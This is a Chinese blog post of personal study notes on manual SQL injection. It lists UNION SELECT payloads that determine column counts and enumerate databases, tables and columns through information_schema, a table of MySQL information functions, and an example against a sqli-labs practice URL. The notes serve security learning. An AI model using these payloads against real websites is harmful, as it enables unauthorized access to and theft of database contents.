SQL注入

手工SQL注入学习笔记

数字不断增加直到报错消失,可判断出字段长度

union select 1,2,3,4

假如字段数为4,database()代替4进行占位,用来执行命令,可查询库名

union select 1,2,3,database()

geoup_concat(table_name)用来占位,查询后面指定的数据库中的表

union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=‘数据库名’

group_concat(column_name)用来占位,查询后面指定表中的字段

union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=‘表名’

查看字段具体内容

union select 1,内容,3,4 from 字段名

常用函数

system_user()			显示系统用户

user()					显示全部用户

current_user()			显示当前用户

database()				显示数据库

version()				显示版本信息

@@datadir()				显示mysql的安装路径

@@version_compile_os	显示当前的操作系统

group_concat()			将所有的数据进行连接拼接进行显示
eg:
sqlilab/Less-1/?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata--+
concat_ws('~',A,B)		取出A~B	
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值